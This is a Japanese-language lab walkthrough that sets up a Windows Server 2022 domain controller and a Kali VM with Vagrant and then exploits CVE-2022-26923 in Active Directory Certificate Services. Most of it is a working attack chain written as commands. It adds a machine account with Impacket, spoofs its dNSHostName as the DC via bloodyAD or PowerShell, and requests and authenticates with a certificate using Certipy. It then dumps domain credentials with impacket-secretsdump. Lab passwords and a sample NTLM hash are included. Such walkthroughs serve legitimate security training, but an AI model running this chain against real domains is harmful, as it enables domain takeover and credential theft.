
CVE-2022-26923 のエクスプロイト
CVE-2022-26923 は、Active Directory 証明書サービス (AD CS) の脆弱性で、攻撃者が証明書ベースの認証を悪用して権限を昇格できるようにします。このガイドでは、Impacket と Certipy を使用してこの脆弱性を悪用する手順を説明します。
| 仮想マシン | ユーザー名 | パスワード |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
まず、必要なファイルを含むリポジトリをクローンします:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
リポジトリには 2 つのフォルダがあり、それぞれに仮想マシンをプロビジョニングするための Vagrantfile が含まれています。先にホストマシンに Vagrant をインストールする必要があります。
こちら から Vagrant をダウンロードしてインストールします。 または PowerShell を使用してインストール:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
WindowsServer2022 ディレクトリに移動します:
cd WindowsServer2022
vagrant up
これにより、Windows Server 2022 VM が VirtualBox にダウンロードされてセットアップされます。
Kali-LinuxVM ディレクトリに移動します:
cd Kali-LinuxVM
vagrant up
悪用には NAT ネットワークが必要なため、VirtualBox を次のように構成します:
以下のコマンドを実行する前に、VBoxManage が環境変数に追加されていることを確認してください。そうでない場合は、フルパスでコマンドを実行します:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage が認識されない場合は、次を使用します:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
両方の VM が VirtualBox で確認され、ネットワークアダプター NatNetwork - NatNet1 に割り当てられていることを確認します。
異なる名前で NAT ネットワークを作成することもできますが、IP 範囲は 10.0.2.0/24 である必要があります。
先に、Windows Server 2022 と Kali Linux VM の両方が起動していることを確認します。
Kali Linux VM にアクセスして攻撃を開始します。
/etc/hosts ファイルを更新してドメインコントローラーの IP をマッピングします:
sudo nano /etc/hosts
次のエントリを追加します:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
保存して終了します。
CVE-26923 ディレクトリに移動し、Python 仮想環境をアクティブにします:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Impacket の addcomputer ユーティリティを使用:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
ドメインのコンピュータを確認:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
bloodyAD ディレクトリに移動し、bloodyAD.py を使用して PCTEST1 をドメインに追加:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
PCTEST1 がドメインに割り当てられたことを確認:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Certipy を使用して脆弱な証明書を検出:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Certipy を使用してマシン証明書を要求:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
取得した証明書を使用して認証:
certipy auth -pfx server2022.pfx
certipy auth コマンドを実行すると、2 つのハッシュが表示されます。NTLM 認証には右側のハッシュが使用されます。
ハッシュ出力例:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
抽出した NTLM ハッシュを使用して資格情報をダンプ:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
これで CVE-2022-26923 を悪用するための完全な攻撃チェーンが完了します。